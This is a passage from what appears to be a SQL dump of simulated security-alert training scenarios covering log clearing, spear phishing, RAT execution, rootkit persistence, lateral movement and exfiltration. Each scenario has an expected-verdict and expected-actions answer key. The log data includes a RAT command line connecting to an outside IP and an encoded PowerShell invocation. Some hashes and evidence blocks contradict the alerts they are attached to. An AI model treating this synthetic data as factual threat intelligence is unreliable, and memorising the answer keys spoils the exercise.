'{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of possibly compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known command and control servers.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-cc-server.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"URL linked to data exfiltration activities.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"clean\",\"details\":\"File hash not previously associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account potentially used during exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(346, 'Cleanup and Removal of Indicators', 'high', 'System event logs', 'In an advanced attempt to evade detection, the threat actor Hafnium executed commands to remove event logs and other indicators of compromise from the system. This action is aimed at erasing traces of their presence and prolonging unauthorized access.', 'Defense Evasion', 'T1070.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":1102,\"log_name\":\"Security\",\"source\":\"Microsoft-Windows-Eventlog\",\"task_category\":\"Log Clear\",\"level\":\"Information\",\"user\":{\"id\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"name\":\"hacker_user\"},\"computer\":\"compromised-host.local\",\"description\":\"The audit log was cleared.\",\"ip_address\":\"192.168.1.45\",\"malicious_ip\":\"203.0.113.5\",\"deleted_files\":[\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\",\"C:\\\\Temp\\\\malware.exe\"],\"hash\":\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\"}', '2026-01-03 00:04:00', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known Hafnium infrastructure.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\",\"is_critical\":true,\"osint_result\":{\"source\":\"virustotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known Hafnium malware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":1102,\\\"log_name\\\":\\\"Security\\\",\\\"source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"task_category\\\":\\\"Log Clear\\\",\\\"level\\\":\\\"Information\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"name\\\":\\\"hacker_user\\\"},\\\"computer\\\":\\\"compromised-host.local\\\",\\\"description\\\":\\\"The audit log was cleared.\\\",\\\"ip_address\\\":\\\"192.168.1.45\\\",\\\"malicious_ip\\\":\\\"203.0.113.5\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"C:\\\\\\\\Temp\\\\\\\\malware.exe\\\"],\\\"hash\\\":\\\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":1102,\\\"log_name\\\":\\\"Security\\\",\\\"source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"task_category\\\":\\\"Log Clear\\\",\\\"level\\\":\\\"Information\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"name\\\":\\\"hacker_user\\\"},\\\"computer\\\":\\\"compromised-host.local\\\",\\\"description\\\":\\\"The audit log was cleared.\\\",\\\"ip_address\\\":\\\"192.168.1.45\\\",\\\"malicious_ip\\\":\\\"203.0.113.5\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"C:\\\\\\\\Temp\\\\\\\\malware.exe\\\"],\\\"hash\\\":\\\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":1102,\\\"log_name\\\":\\\"Security\\\",\\\"source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"task_category\\\":\\\"Log Clear\\\",\\\"level\\\":\\\"Information\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"name\\\":\\\"hacker_user\\\"},\\\"computer\\\":\\\"compromised-host.local\\\",\\\"description\\\":\\\"The audit log was cleared.\\\",\\\"ip_address\\\":\\\"192.168.1.45\\\",\\\"malicious_ip\\\":\\\"203.0.113.5\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"C:\\\\\\\\Temp\\\\\\\\malware.exe\\\"],\\\"hash\\\":\\\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":1102,\\\"log_name\\\":\\\"Security\\\",\\\"source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"task_category\\\":\\\"Log Clear\\\",\\\"level\\\":\\\"Information\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"name\\\":\\\"hacker_user\\\"},\\\"computer\\\":\\\"compromised-host.local\\\",\\\"description\\\":\\\"The audit log was cleared.\\\",\\\"ip_address\\\":\\\"192.168.1.45\\\",\\\"malicious_ip\\\":\\\"203.0.113.5\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"C:\\\\\\\\Temp\\\\\\\\malware.exe\\\"],\\\"hash\\\":\\\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"event_id\\\":1102,\\\"log_name\\\":\\\"Security\\\",\\\"source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"task_category\\\":\\\"Log Clear\\\",\\\"level\\\":\\\"Information\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"name\\\":\\\"hacker_user\\\"},\\\"computer\\\":\\\"compromised-host.local\\\",\\\"description\\\":\\\"The audit log was cleared.\\\",\\\"ip_address\\\":\\\"192.168.1.45\\\",\\\"malicious_ip\\\":\\\"203.0.113.5\\\",\\\"deleted_files\\\":[\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winevt\\\\\\\\Logs\\\\\\\\Security.evtx\\\",\\\"C:\\\\\\\\Temp\\\\\\\\malware.exe\\\"],\\\"hash\\\":\\\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(347, 'Initial Access via Spear Phishing', 'high', 'Email Gateway Logs', 'A spear phishing email was detected targeting a diplomatic network. The email contained a malicious attachment believed to be linked with the Turla APT group. The email was sent from a known malicious IP address and contained a weaponized document aimed at exploiting vulnerabilities to gain an initial foothold.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:32:00Z\",\"email_id\":\"345abc678def901234ghi567\",\"sender\":\"malicious.actor@example.com\",\"recipient\":\"john.doe@diplomat.org\",\"subject\":\"Urgent: Diplomatic Meeting Itinerary\",\"attachment\":\"Meeting_Agenda.docx\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"malware_family\":\"CobraDoc\",\"detection\":{\"rule_id\":\"PHISH-001\",\"rule_name\":\"Spear Phishing with Malicious Attachment\",\"confidence\":\"High\"}}', '2026-01-03 00:37:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"malicious.actor@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Known phishing email sender associated with APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP address associated with Turla APT infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Turla weaponized document.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Meeting_Agenda.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Threat Intelligence\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in spear phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Spear Phishing\",\"date\":\"2026-02-01T20:32:18.942Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(348, 'Execution of Remote Access Tool', 'high', 'Endpoint Detection and Response', 'With initial access secured, Turla deploys a remote access tool to execute commands and further their control over the infected endpoint. Anomalous execution detected on endpoint with associated malicious artifacts.', 'Malware Execution', 'T1219 - Remote Access Tools', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"E12345\",\"event_type\":\"malware_execution\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"185.45.67.89\",\"username\":\"jdoe\",\"process_name\":\"rat_tool.exe\",\"process_hash\":\"3fa4c0f9d5d2f4e7a9b8c3e1c7a8f9b0\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\rat_tool.exe -connect 185.45.67.89\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\rat_tool.exe\",\"indicator\":\"Turla RAT\",\"device_id\":\"DESKTOP-ABCD1234\"}', '2026-01-03 00:37:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.45.67.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known Turla command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3fa4c0f9d5d2f4e7a9b8c3e1c7a8f9b0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Turla RAT\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"rat_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR\",\"verdict\":\"malicious\",\"details\":\"Executable associated with Turla RAT\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Valid internal user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(349, 'Rootkit Deployment for Persistence', 'high', 'System Event Logs', 'To ensure continued access, Turla installs a sophisticated rootkit that embeds itself deeply within the system, evading detection and enabling persistent control.', 'Persistence Mechanism', 'T1014', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"7045\",\"event_source\":\"Service Control Manager\",\"computer_name\":\"compromised-host.local\",\"user\":\"SYSTEM\",\"service_name\":\"turla_rootkit\",\"service_file_name\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\trkl.sys\",\"service_type\":\"Kernel Driver\",\"service_start_type\":\"Auto\",\"service_account\":\"LocalSystem\",\"network_activity\":{\"external_ip\":\"185.92.220.23\",\"internal_ip\":\"192.168.1.105\",\"protocol\":\"TCP\",\"port\":443},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-03 00:37:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known Turla C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised host internal IP\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious rootkit\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.944Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"7045\\\",\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"service_name\\\":\\\"turla_rootkit\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\trkl.sys\\\",\\\"service_type\\\":\\\"Kernel Driver\\\",\\\"service_start_type\\\":\\\"Auto\\\",\\\"service_account\\\":\\\"LocalSystem\\\",\\\"network_activity\\\":{\\\"external_ip\\\":\\\"185.92.220.23\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":443},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.944Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"7045\\\",\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"service_name\\\":\\\"turla_rootkit\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\trkl.sys\\\",\\\"service_type\\\":\\\"Kernel Driver\\\",\\\"service_start_type\\\":\\\"Auto\\\",\\\"service_account\\\":\\\"LocalSystem\\\",\\\"network_activity\\\":{\\\"external_ip\\\":\\\"185.92.220.23\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":443},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.944Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"7045\\\",\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"service_name\\\":\\\"turla_rootkit\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\trkl.sys\\\",\\\"service_type\\\":\\\"Kernel Driver\\\",\\\"service_start_type\\\":\\\"Auto\\\",\\\"service_account\\\":\\\"LocalSystem\\\",\\\"network_activity\\\":{\\\"external_ip\\\":\\\"185.92.220.23\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":443},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.944Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"7045\\\",\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"service_name\\\":\\\"turla_rootkit\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\trkl.sys\\\",\\\"service_type\\\":\\\"Kernel Driver\\\",\\\"service_start_type\\\":\\\"Auto\\\",\\\"service_account\\\":\\\"LocalSystem\\\",\\\"network_activity\\\":{\\\"external_ip\\\":\\\"185.92.220.23\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":443},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.944Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"7045\\\",\\\"event_source\\\":\\\"Service Control Manager\\\",\\\"computer_name\\\":\\\"compromised-host.local\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"service_name\\\":\\\"turla_rootkit\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\trkl.sys\\\",\\\"service_type\\\":\\\"Kernel Driver\\\",\\\"service_start_type\\\":\\\"Auto\\\",\\\"service_account\\\":\\\"LocalSystem\\\",\\\"network_activity\\\":{\\\"external_ip\\\":\\\"185.92.220.23\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":443},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(350, 'Lateral Movement via Hijacked Credentials', 'high', 'Network Traffic Analysis', 'Anomalous lateral movement detected involving the use of hijacked credentials to access multiple internal systems. The activity is linked to the Turla group, known for its lateral techniques to extend network control.', 'Credential Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:07Z\",\"source_ip\":\"198.51.100.23\",\"target_ip\":\"192.168.1.15\",\"protocol\":\"RDP\",\"username\":\"jdoe\",\"action\":\"Successful login\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_name\":\"turla_tool.exe\",\"event_id\":\"4624\",\"description\":\"Successful logon using RDP with hijacked credentials\"}', '2026-01-03 00:37:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Scan\",\"verdict\":\"internal\",\"details\":\"Internal corporate server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual login pattern detected\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known Turla tool\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"turla_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File associated with Turla APT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(351, 'Exfiltration Through Satellite Link Hijacking', 'high', 'Satellite Communication Logs', 'In a final maneuver, Turla uses hijacked satellite internet links to stealthily exfiltrate sensitive data, masking the C2 traffic and evading traditional network defenses.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:16Z\",\"source_ip\":\"10.0.1.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"file_name\":\"sensitive_data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"data_exfiltration\",\"protocol\":\"satellite_link\",\"malware\":\"Turla\"}', '2026-01-03 00:37:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Turla group.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Contains potentially sensitive information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Turla malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.946Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 